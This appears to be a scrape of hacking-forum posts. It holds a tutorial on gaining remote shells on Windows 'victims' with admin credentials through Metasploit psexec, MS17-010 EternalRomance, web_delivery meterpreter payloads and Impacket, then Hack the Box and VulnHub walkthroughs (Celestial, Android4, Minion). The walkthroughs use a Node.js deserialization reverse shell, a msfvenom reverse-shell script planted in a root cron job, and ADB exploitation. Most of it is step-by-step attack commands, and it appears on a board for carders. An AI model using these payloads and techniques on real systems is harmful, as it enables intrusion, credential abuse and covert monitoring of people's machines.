msf exploit(windows/smb/psexec_psh) > set smbpass Ignite@123
msf exploit(windows/smb/psexec_psh) > exploit
Once again as the commands run you will gain a meterpreter session of victim’s PC. And therefore, you can do as you wish.
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-ZxbGdVg37ao/W4oz_F0OemI/AAAAAAAAaCQ/yY-0yhRRY28Ywkc_HHircOMPhGg4ZP9VACEwYBhgL/s1600/2.png?w=687&ssl=1)
Microsoft Windows Authenticated Administration Utility
This module uses a valid administrator username and password to execute an arbitrary command on one or more hosts, using a similar technique than the “psexec” utility provided by SysInternals. Daisy chaining commands with ‘&’ do not work and users shouldn’t try it. This module is useful because it doesn’t need to upload any binaries to the target machine.
Thus, in a new Metasploit framework we had used web delivery module to get malicious dll code which we can use as an arbitrary command on the host.
use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 3
msf exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.106
msf exploit(multi/script/web_delivery) > exploit
1
2
3
4
5
use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 3
msf exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.106
msf exploit(multi/script/web_delivery) > exploit
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-nF2YQfDj2A4/W4oz_u6GkQI/AAAAAAAAaCM/gJCvANEywmglHs1IlQiuAxa4UhyzXNhBgCEwYBhgL/s1600/4.png?w=687&ssl=1)
Copy the highlighted text for malicious dll code.
msf > use auxiliary/admin/smb/psexec_command
msf auxiliary(admin/smb/psexec_command) > set rhosts 192.168.1.104
msf auxiliary(admin/smb/psexec_command) > set smbuser administrator
msf auxiliary(admin/smb/psexec_command) > set smbpass Ignite@123
msf auxiliary(admin/smb/psexec_command) > set COMMAND [Paste above copied dll code here]
msf auxiliary(admin/smb/psexec_command) > exploit
1
2
3
4
5
6
msf > use auxiliary/admin/smb/psexec_command
msf auxiliary(admin/smb/psexec_command) > set rhosts 192.168.1.104
msf auxiliary(admin/smb/psexec_command) > set smbuser administrator
msf auxiliary(admin/smb/psexec_command) > set smbpass Ignite@123
msf auxiliary(admin/smb/psexec_command) > set COMMAND [Paste above copied dll code here]
msf auxiliary(admin/smb/psexec_command) > exploit
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-uDfQHWCjcro/W4oz_jI8RRI/AAAAAAAAaCM/XjJ9E65p5iUZBz7VdBhH9JihYxLJgVTVwCEwYBhgL/s1600/5.png?w=687&ssl=1)
As soon as we run psexec auxiliary we will get a meterpreter session with as an administrator.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-aIifFaVQoCA/W4oz_8vGhAI/AAAAAAAAaCU/kpifMXxNHuAHZ_QL87ZZjks-ZXkq_pCeACEwYBhgL/s1600/6.png?w=687&ssl=1)
SMB Impacket WMI Exec
This module is a similar approach to psexec but executing commands through WMI.
msf > use auxiliary/scanner/smb/impacket/wmiexec
msf auxiliary(scanner/smb/impacket/wmiexec) > set rhosts 192.168.1.104
msf auxiliary(scanner/smb/impacket/wmiexec) > set smbuser administrator
msf auxiliary(scanner/smb/impacket/wmiexec) > set smbpass Ignite@123
msf auxiliary(scanner/smb/impacket/wmiexec) > set COMMAND systeminfo
msf auxiliary(scanner/smb/impacket/wmiexec) > exploit
1
2
3
4
5
6
msf > use auxiliary/scanner/smb/impacket/wmiexec
msf auxiliary(scanner/smb/impacket/wmiexec) > set rhosts 192.168.1.104
msf auxiliary(scanner/smb/impacket/wmiexec) > set smbuser administrator
msf auxiliary(scanner/smb/impacket/wmiexec) > set smbpass Ignite@123
msf auxiliary(scanner/smb/impacket/wmiexec) > set COMMAND systeminfo
msf auxiliary(scanner/smb/impacket/wmiexec) > exploit
![[Image: 7.1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-A6iVrxBivQs/W4o0AXmCthI/AAAAAAAAaCY/syYfRW8QlCY80nOMqXYHGNNfxDfjv5ONgCEwYBhgL/s1600/7.1.png?w=687&ssl=1)
Impacket for Psexec.py
Psexec.py lets you execute processes on remote windows systems, copy files on remote systems, process their output and stream it back. It allows execution of remote shell commands directly with the full interactive console without having to install any client software.
Now let’s install the Impacket tools from GitHub. You can get it from here. Firstly, clone the git, and then install the Impacket and then run psexec.py to connect the victim’s machine.
git clone [To see content please register here]
cd impacket/
python setup.py install
cd examples
1
2
3
4
git clone [To see content please register here]
cd impacket/
python setup.py install
cd examples
Syntax: ./psexec.py [[domain/] username [: password] @] [Target IP Address]
./psexec.py SERVER/Administrator:[email protected]
1
./psexec.py SERVER/Administrator:[email protected]
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-QZUUjZQFZs8/W4o0Af8NblI/AAAAAAAAaCQ/w9nwN1ffFHcNiu5h0shHohX6UY4dtmWDwCEwYBhgL/s1600/7.png?w=687&ssl=1)
Impacket for Atexec.py
This example executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
Syntax: /atexec.py [[domain/] username [: password] @] [Target IP Address] [Command]
./atexec.py SERVER/Administrator:[email protected] systeminfo
1
./atexec.py SERVER/Administrator:[email protected] systeminfo
As you can see below that a remote connection was established to the server and the command systeminfo was run on the Target server with the output of the command delivered on the Kali terminal.
![[Image: 9.1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-3dw1ZvAgQlU/W4o0AjFnjsI/AAAAAAAAaCU/fkgC5F9mCJ44B94_yYeqAN-_Pdm2uMrlACEwYBhgL/s1600/9.1.png?w=687&ssl=1)
PsExec.exe
Psexec.exe is software that helps us to access other computers in a network. This software directly takes us to the shell of the remote PC with the advantage of doing nothing manually. Download this software from –> [To see content please register here] .
Unzip the file once you have downloaded it. Go to your command prompt and type:
PsExec.exe\\192.168.1.104 -u administrator -p Ignite@123 cmd
1
PsExec.exe\\192.168.1.104 -u administrator -p Ignite@123 cmd
Here,
192.168.1.104 –> is the IP of the remote host
-u –> denotes username
-p –> denotes password
cmd –> to enter victim’s command prompt
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-edEs7FC_7FQ/W4o0BHpp56I/AAAAAAAAaCY/w3LtbzZ05jM0EkbxKKk9u18epgqpJMZFACEwYBhgL/s1600/9.png?w=687&ssl=1)
Atelier Web Remote Commander
This is graphical software that let us gain control of the victim’s PC that too quite easily.
Once you have open the software give the IP address of your victim’s PC in remote host box along with the username and password in their respective boxes. And then click on connect; the whole victim’s PC’s screen will appear on your Desktop and you will have a pretty good view of what your victim is doing.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-RgBnSN7nHB0/W4oz9nUNHcI/AAAAAAAAaCU/rEwybaG_joc0dcxGRvzcDBF6D3u3bX62wCEwYBhgL/s1600/10.png?w=687&ssl=1)
As you can observe we are having Screen of victim’s machine in front of us.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-gYG4ALQSWzg/W4oz9t8WWKI/AAAAAAAAaCM/SJ0qXD16ZxIYKiET_3ElRCGKzipOofHPwCEwYBhgL/s1600/11.png?w=687&ssl=1)
MS17-010 EternalRomance SMB Remote Code Execution
Tested on: Windows 2007 ultimate
Attacking Machine: Kali Linux
This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where primitive. This will then be used to overwrite the connection session information with as an Administrator session. From there, the normal psexec payload code execution is done. Exploits a type of confusion between Transaction and write and requests and a race condition in Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy exploits. This exploit chain is more reliable than the EternalBlue exploit but requires a named pipe.
msf > use exploit/windows/smb/ms17_010_psexec
msf exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.1.105
msf exploit(windows/smb/ms17_010_psexec) > set smbuser raj
msf exploit(windows/smb/ms17_010_psexec) > set smbpass 123
msf exploit(windows/smb/ms17_010_psexec) > exploit
1
2
3
4
5
msf > use exploit/windows/smb/ms17_010_psexec
msf exploit(windows/smb/ms17_010_psexec) > set rhost 192.168.1.105
msf exploit(windows/smb/ms17_010_psexec) > set smbuser raj
msf exploit(windows/smb/ms17_010_psexec) > set smbpass 123
msf exploit(windows/smb/ms17_010_psexec) > exploit
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-yvYGeD6H3jg/W4oz-VdmfMI/AAAAAAAAaCE/16P_kxBrPzQlNII5on2nv7zA3AI82PQKACEwYBhgL/s1600/12.png?w=687&ssl=1)
MS17-010 EternalRomance SMB Remote Command Execution
This module will exploit SMB with vulnerabilities in MS17-010 to achieve a write-what-where primitive. This will then be used to overwrite the connection session information with as an Administrator session. From there, the normal psexec command execution is done. Exploits a type of confusion between Transaction and write and requests and a race condition in Transaction requests, as seen in the EternalRomance, EternalChampion, and EternalSynergy exploits. This exploit chain is more reliable than the EternalBlue exploit but requires a named pipe.
Thus, in a new Metasploit framework we had used web delivery module to get malicious dll code which we can use as an arbitrary command on the host.
use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 3
msf exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.106
msf exploit(multi/script/web_delivery) > exploit
1
2
3
4
5
use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 3
msf exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.106
msf exploit(multi/script/web_delivery) > exploit
Copy the highlighted text for malicious dll code.
![[Image: 13.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-tKyEUMXosQA/W4oz-oDkWHI/AAAAAAAAaCI/G9Cqm0eT-cEEsgDK0TeO-7f_FNHFf1sXwCEwYBhgL/s1600/13.png?w=687&ssl=1)
msf > use auxiliary/admin/smb/ms17_010_command
msf auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.1.105
msf auxiliary(admin/smb/ms17_010_command) > set smbuser raj
msf auxiliary(admin/smb/ms17_010_command) > set smbpass 123
msf auxiliary(admin/smb/ms17_010_command) > set COMMAND [Paste above copied dll code here]
msf auxiliary(admin/smb/ms17_010_command) > exploit
1
2
3
4
5
6
msf > use auxiliary/admin/smb/ms17_010_command
msf auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.1.105
msf auxiliary(admin/smb/ms17_010_command) > set smbuser raj
msf auxiliary(admin/smb/ms17_010_command) > set smbpass 123
msf auxiliary(admin/smb/ms17_010_command) > set COMMAND [Paste above copied dll code here]
msf auxiliary(admin/smb/ms17_010_command) > exploit
![[Image: 14.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-eSoIjxatjd0/W4oz-zaaEWI/AAAAAAAAaCI/y1Z-blUmuuYzUDwbUIVBzF9iKd-0btoMACEwYBhgL/s1600/14.png?w=687&ssl=1)
As soon as we run psexec auxiliary we will get a meterpreter session with as an administrator.
In this way, we can compromise a victim’s machine remotely if we have login credential.
Happy Hacking!!!!
|
|
|
|
| [Guide] How to Hack the Box: Celestial Walkthrough |
|
Posted by: NINZA - 05-14-2020, 09:38 AM - Forum: Carders Home
- No Replies
|
 |
Hello friends!! Today we are going to solve another CTF challenge “Celestial” which is lab presented by Hack the Box and is available online for those who want to increase their skill in penetration testing and black box testing. Celestial is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
WalkThrough
Since these labs are online available therefore they have static IP. The IP of Celestial is 10.10.10.85
Let’s start off with scanning the network to find our target.
nmap -A 10.10.10.85
1
nmap -A 10.10.10.85
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Pf9vfLwS0oc/W4LfK-nqXAI/AAAAAAAAZ8M/4dn4mW-vbwMUdq4mRUP07dY5h_iPE01vgCLcBGAs/s1600/1.png?w=687&ssl=1)
The NMAP output shows us that the port TCP 3000 is opened on the target machine Let’s try to access the website on a Non-standard HTTP port (3000) as follows :
Browse to [To see content please register here] and we will be greeted with the following page
![[Image: 2.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-RgMSj4F93sc/W4LfMNYoe2I/AAAAAAAAZ8o/5kKQ-vQApm4Z0GOfXFF5MYlcNGRx6F7vQCLcBGAs/s1600/2.png?w=687&ssl=1)
As we didn’t find any other clue to move forward after navigating through many other possibilities; we quickly moved further to understand the website request via Burpsuite tool. Therefore, upon capturing the webpage’s GET request, we noticed the profile= Cookie parameter (highlighted in red)
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-lGvkjCdnrVM/W4LfMWPwRzI/AAAAAAAAZ8w/zW35RxJNKv412HrCSsG_a4jAnxHUuQJcACLcBGAs/s1600/3.png?w=687&ssl=1)
Copy the entire value inside the profile= cookie parameter and paste it in the Burpsuite decoder.
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
1
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
On decoding the same we will get the output in base64 format. Once again, we will decode the base64 format output and would be able to see the results in a clear text format. The output displays the username and other details of a specific user This is an indication that we can insert our code in the cookie profile parameter value to get the desired results.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-J62FTW6GzSU/W4LfMufrDPI/AAAAAAAAZ80/6G8VuC4tGocHL9t4qH-k3YCRAZ8p88angCLcBGAs/s1600/4.png?w=687&ssl=1)
On further investigation, we came to know that this is a Node JS deserialization bug for the purpose of remote code execution. Further details of the same are mentioned in the below website.If we read the entire content of the website, we will observe that there is a function which contains a particular string comprising of multiple numeric values.
[To see content please register here]
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-hxJuwP4iW0A/W4LfMmAO0sI/AAAAAAAAZ84/YJvVt8tQim8R41ze3IaVf9Qc9hVl5_KkQCLcBGAs/s1600/5.png?w=687&ssl=1)
Copy the entire numeric content (after String.fromCharCode) starting from 10 till 10 . Navigate to the URL [To see content please register here] and convert Decimal to ASCII as shown in the screenshot below
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-LdkoMS6OTvw/W4LfM7FciwI/AAAAAAAAZ88/Q3zuTDw6mwA9lTgnYBu3iUyu1tt7JfzBwCLcBGAs/s1600/6.png?w=687&ssl=1)
Now let’s change the contents of the ASCII text and replace the HOST and PORT parameter details with the HOST=10.10.14.3 and PORT= 4444, where 10.10.14.3 is our Kali machine IP. Once done, we will get the equivalent output in the Decimal format as shown below
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-dkFVHSxKExQ/W4LfNc4pLsI/AAAAAAAAZ9A/rWSYmldASn4yDDmkTU1ZXZ-0nnN17ajDACLcBGAs/s1600/7.png?w=687&ssl=1)
Copy the decimal output from the above screenshot starting from 118 and ending with 10, with each number, separated by a comma.
Note: As we can see that the decimal output in the above output is separated by a space, hence we need to either do it manually OR need to refer to the following Python script method so as to include the comma values, before proceeding further
[To see content please register here]
Once the decimal output (separated by comma) is ready, we need to now paste it inside the code shown below (replace the value with decimal output) and perform the Base64 encode of the same
echo {"username":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(value) )}()"} | base64 -w0
1
echo {"username":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(value) )}()"} | base64 -w0
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-NzdhnXKTDiE/W4LfNu2spEI/AAAAAAAAZ9E/19n5ebKpXQQjAZq2i-mQ-hC2gQWXRAymwCLcBGAs/s1600/9.png?w=687&ssl=1)
Copy the encoded output above and paste it in front of the Profile= parameter of the Burpsuite as shown in the image below.
![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-4-zgu8ynWns/W4LfLAh5DAI/AAAAAAAAZ8U/D7mWSGtOxmUO4Jz94sE8E-Rmtf2EqYxvgCLcBGAs/s1600/10.png?w=687&ssl=1)
Once done we need to click on the Forward option, in Burpsuite Intercept tab
Note: Before forwarding the modified content in Burpsuite, we should set up the netcat listener in Kali machine and keep it ready.
nc -lvp 4444
1
nc -lvp 4444
In order to access proper TTY shell, we had imported python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Hurray !! We got into the reverse shell of the target machine
Let’s have a quick look at the contents
ls
1
ls
We navigated to many folders, however, found interesting stuff in the Documents folder
cd Documents
1
cd Documents
Here we can see that there is a user.txt file, lets read it contents
cat user.txt
1
cat user.txt
Finally, we got our first flag i.e output of the user.txt file
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-zBzbnzfUZOk/W4LfLPWazuI/AAAAAAAAZ8Q/FPMdqAyWGlYNbrnaCISdTq6XnUkoaQPKACLcBGAs/s1600/11.png?w=687&ssl=1)
Now upon further navigation, we also opened the script.py file because of our curiosity to examine the contents of the same. If we do cat script.py, the output displays as print “Script is running”
cat script.py
1
cat script.py
print “Script is running..”
Note: This is an indication that we may need to examine the log files to see which script is running and if it is running on a periodic basis
The best step to move forward is to examine the contents of the log directory in var
cd /var/log
1
cd /var/log
Let’s see the files listed over here
ls
1
ls
As we can see that there are multiple syslog files being generated in this folder. The old logs are being zipped and numbered accordingly. The latest logs are always stored in the log file named syslog .So we will open the contents of the syslog file and try to find out if there is something interesting going on.
cat syslog
1
cat syslog
We will notice that there is a cronjob running every 5 minutes, which is copying the output of script.py file (in the home/sun/Documents folder) to the output.txt file
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-d69h0nQ0YME/W4LfLWWwTxI/AAAAAAAAZ8Y/-g5BUAyAmvMQrWP4gmzFSKTNNzagmttogCLcBGAs/s1600/12.png?w=687&ssl=1)
Now we can try to put our own content in the script.py file. For this let’s generate a Reverse shell with the following command
msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport=1234 R
1
msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport=1234 R
Copy the contents of msfvenom output and save it on Kali Desktop named as script.py, which will be further used in the subsequent steps
![[Image: 16.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-Bow4u9YRexE/W4LfLtm5GJI/AAAAAAAAZ8c/Xajr6W7kR-c-LJJ_-5QkKL7VGKC7g_k2QCLcBGAs/s1600/16.png?w=687&ssl=1)
Now run the web server on the Kali machine
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80
![[Image: 18.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-opVZVGr-d6Y/W4LfL-EEWmI/AAAAAAAAZ8g/rSgVR-ps2d0mXXaYmG-k6Qc26vZVqcWTgCLcBGAs/s1600/18.png?w=687&ssl=1)
Lets read the contents of the script.py.The output displays as print “Script is running..”
cat script.py
1
cat script.py
Let’s move this original python script (script.py) by renaming it to script.py.original as shown below
mv script.py script.py.original
1
mv script.py script.py.original
Download our newly created script.py from the Kali machine Desktop
wget [To see content please register here]
1
wget [To see content please register here]
![[Image: 19.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-xNAP-pDRjSs/W4LfMDKqdAI/AAAAAAAAZ8k/JxtxiSfpStoKduoj34du6z0QLYprjQmxQCLcBGAs/s1600/19.png?w=687&ssl=1)
Open a netcat reverse shell
nc -lvp 1234
1
nc -lvp 1234
In order to access proper TTY shell, we had imported python one line script by typing following:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Hurray!! We got into the root
Navigate to the root directory
cd /root
1
cd /root
Let’s see what content it has.
ls
1
ls
As we can see it contains 2 files root.txt and script.py. Lets open root.txt file
cat root.txt
1
cat root.txt
![[Image: 20.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-IYynBYHzhGs/W4LfMCCHW1I/AAAAAAAAZ8s/NL5LDNmmpx0bFFu9hrFk15JHAu11NBqpQCLcBGAs/s1600/20.png?w=687&ssl=1)
Wonderful!! We have gained access to both user.txt and root.txt files and hacked this box.
Hello everyone and welcome to yet another CTF challenge walkthrough. This time we’ll be putting our hands on Android4 which is made by Touhid Shaikh. You can find the link to download this vulnerable VM here ([To see content please register here] ).
The level of this vulnerable VM, that I would rate: beginner.
Steps involved:
- Port scanning and IP discovery.
- Attacking port 8080 proxy using adb_server_exec
- Connection to the device using ADB.
- Shell grabbing.
- Privilege escalation and reading congratulatory flag.
Let’s get started then!
First, we’ll grab the IP address using netdiscover utility present in Kali Linux.
netdiscover
1
netdiscover
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-dymXRK6rmLw/W4KwNXHrHuI/AAAAAAAAZ6A/sLaMHrxKhbQBKnQCpyyyPZNTXlIGspr9gCLcBGAs/s1600/1.png?w=687&ssl=1)
In my case, the IP address is 192.168.1.105
The second step is as usual as port scanning. In this scan, we’ll be using an all port aggressive scan using the most popular tool nmap.
nmap -p- -A 192.168.1.105
1
nmap -p- -A 192.168.1.105
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-u81mUpVpgc0/W4KwNuuYbTI/AAAAAAAAZ6E/lBHa7yR7PsApdNyuUHo5FqeLn6rYspyBQCLcBGAs/s1600/2.png?w=687&ssl=1)
From this, we established that there is some kind of web page related to the port 8080.
Without any delay, we opened the webpage but found nothing.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-nxujZ_OawkQ/W4KwOBFqKrI/AAAAAAAAZ6I/d_UmtBpsga0-drtD1LxM5sUp_EPW-9d6QCLcBGAs/s1600/3.png?w=687&ssl=1)
Anyone would establish that there is some kind of verbal tampering involved using the POST method. We tried but didn’t find anything useful.
After trying a few other methods (PHP CLI and Dropbear RCE) here is one method that we found the best for our cause.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-VK_vnEuonv8/W4KwOXLdohI/AAAAAAAAZ6M/3XtIa8bpckE-tCE7TcgkWIZvEP-i7ZDZgCLcBGAs/s1600/4.png?w=687&ssl=1)
Android Debug Bridge (ADB) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that you can use to run a variety of commands on a device. It is a client-server program that includes three components:- A client, which sends commands. The client runs on your development machine. You can invoke a client from a command-line terminal by issuing an adb command.
- A daemon (adbd), which runs commands on a device. The daemon runs as a background process on each device.
- A server, which manages communication between the client and the daemon. The server runs as a background process on your development machine.
When you start an adb client, the client first checks whether there is an adb server process already running. If there isn’t, it starts the server process
To start an ADB server we used Metasploit:
use exploit/android/adb/adb_server_exec
set RHOST 192.68.1.105
set LHOST 192.168.1.106
set LPORT 3333
exploit
1
2
3
4
5
use exploit/android/adb/adb_server_exec
set RHOST 192.68.1.105
set LHOST 192.168.1.106
set LPORT 3333
exploit
(It is quite possible that the local port won’t accept a connection. In such a case, we change the default port from 4444 to 3333s)
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-caRa0Fl5xzY/W4KwOeKnMDI/AAAAAAAAZ6Q/bqczYlEbmUwL6C4UWZPyg2dAJPBNZk9KgCLcBGAs/s1600/5.png?w=687&ssl=1)
If you don’t have adb installed you can install it by sudo apt-get install adb
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Z81TqX5YZFs/W4KwOtS7bEI/AAAAAAAAZ6U/3EtBz737dvc7XGt1GRrQu3qPp2gVpQ0zQCLcBGAs/s1600/6.png?w=687&ssl=1)
Once the status shows “Connecting to the device, ” on a new terminal window type the command:
adb connect 192.168.1.105:5555
adb shell
1
2
adb connect 192.168.1.105:5555
adb shell
In shell:
ls
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-pd7X1JemM-A/W4KwO-RH1TI/AAAAAAAAZ6Y/E1y7D2I33H0xa9iDsNs4a3fykD4Pb74TACLcBGAs/s1600/7.png?w=687&ssl=1)
to go to the default directory:
cd
su
1
2
cd
su
Voila! We got a root shell!
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-CVpIdyofWCw/W4KwO66dAVI/AAAAAAAAZ6c/Fj8fkA4aYtMpLNN3bv5r2i4EAHmkBdV9wCLcBGAs/s1600/8.png?w=687&ssl=1)
In /data directory we found a folder called “root”
cd /data
ls
1
2
cd /data
ls
The final step was reading the congratulatory flag:
cd /root
ls
cat flag.txt
1
2
3
cd /root
ls
cat flag.txt
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-qFSQTiZgUXQ/W4KwNdxumXI/AAAAAAAAZ58/eGUOe-ax2qUWXEhIXZJFSG2ZZhlM8jliwCLcBGAs/s1600/10.png?w=687&ssl=1)
Hello friends!! Today we are going to solve another CTF challenge “Minion” which is available online for those who want to increase their skill in penetration testing and black box testing. Minion is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of Minion is 10.10.10.57 so let’s begin with nmap port enumeration.
nmap -sV -p- 10.10.10.57 -–open
1
nmap -sV -p- 10.10.10.57 -–open
From the given below image, you can observe that we find port 62696 is open on the target system.
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-GAOFwo4XqFA/W4Dif3V_79I/AAAAAAAAZ4A/kTJjXyRoy-It58VpPHWaWcHGnxdZOeWRwCLcBGAs/s1600/1.png?w=687&ssl=1)
As port 62696 is running IIS http service, we open the IP address in our browser on port 62696.
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-lFoRhiLtid8/W4DijiUQNaI/AAAAAAAAZ5E/dYRME96z6JApBKtMlibl53Kqv-sYLwJSACLcBGAs/s1600/4.png?w=687&ssl=1)
We don’t find anything on the webpage, so we run dirb to enumerate the directories. As the target machine is running Microsoft IIS server we try to find the .asp file.
dirb [To see content please register here] -X .asp
1
dirb [To see content please register here] -X .asp
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-1LIHV62R2LM/W4Dij-Ns7ZI/AAAAAAAAZ5I/WDmNXbrymvI1cJ-cW-hfZVK8AgQKw7cRgCLcBGAs/s1600/5.png?w=687&ssl=1)
Dirb scan gave us a link to a page called test.asp, we open the link and find a page that is asking for u as its parameter.
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-EmYCp3fHhKo/W4DikOaWaHI/AAAAAAAAZ5M/oPmCxkiYPy0fWW4bmSUnuB_r6yRLcubRACLcBGAs/s1600/6.png?w=687&ssl=1)
After enumerating this system, we find that this page is vulnerable to SSRF. So when we try to access localhost we find a link called system commands.
![[Image: 7.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-djmtDKD2bb4/W4DikXBprKI/AAAAAAAAZ5Q/duhfwtZO5ZYNCasgn5npmucOtiUU8-3hACLcBGAs/s1600/7.png?w=687&ssl=1)
As we are not directly accessing the page, we take a look at the source code and find the link to the system command.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-04TEnIAF83s/W4DikdtCG5I/AAAAAAAAZ5U/zIs1o8-1IqUZ_v0Hx0rB-R5RbEmAD9KjQCLcBGAs/s1600/8.png?w=687&ssl=1)
We open it using SSRF and find a form that can be used to execute our commands.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-BjZORyH7z8Y/W4DiknDbiAI/AAAAAAAAZ5Y/jAzq8TuZdvIxEHOz6okzn4MqJu1e6QBBgCLcBGAs/s1600/9.png?w=687&ssl=1)
When we try to execute a command we are unable to. So we take a look at the source code of the page and find the parameter that is being used to pass the command we type.
![[Image: 10.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-EONpzlHWsCQ/W4Difxvq_9I/AAAAAAAAZ38/4Rn-NkBdWYwhlCz9cMaz6JPZEiphhOTHACLcBGAs/s1600/10.png?w=687&ssl=1)
After finding the parameter we use it pass our command and we find that we only get a response in terms of Exit Status. Exit Status = 1 for successful and Exit Status = 0 in case of errors.
![[Image: 11.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-rUG7rD1vraQ/W4DifzX2pOI/AAAAAAAAZ4E/VdGTmH6YvMwPVE-sv0pnF63yHbBtGSdtgCLcBGAs/s1600/11.png?w=687&ssl=1)
Now when we try to get a reverse shell we are unable to, it is possible that TCP and UDP packets are blocked. So we ping ourselves using this RCE vulnerability to check if ICMP packet is allowed.
![[Image: 12.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-bS1LZ8TR-KA/W4DigfLvSII/AAAAAAAAZ4I/VKiIfxynWkkFPjHdSijcJa6hmxNc_EoCACLcBGAs/s1600/12.png?w=687&ssl=1)
We set up tcpdump to capture the ICMP packets and find that ICMP packets are allowed.
tcpdump -i tun0 icmp
1
tcpdump -i tun0 icmp
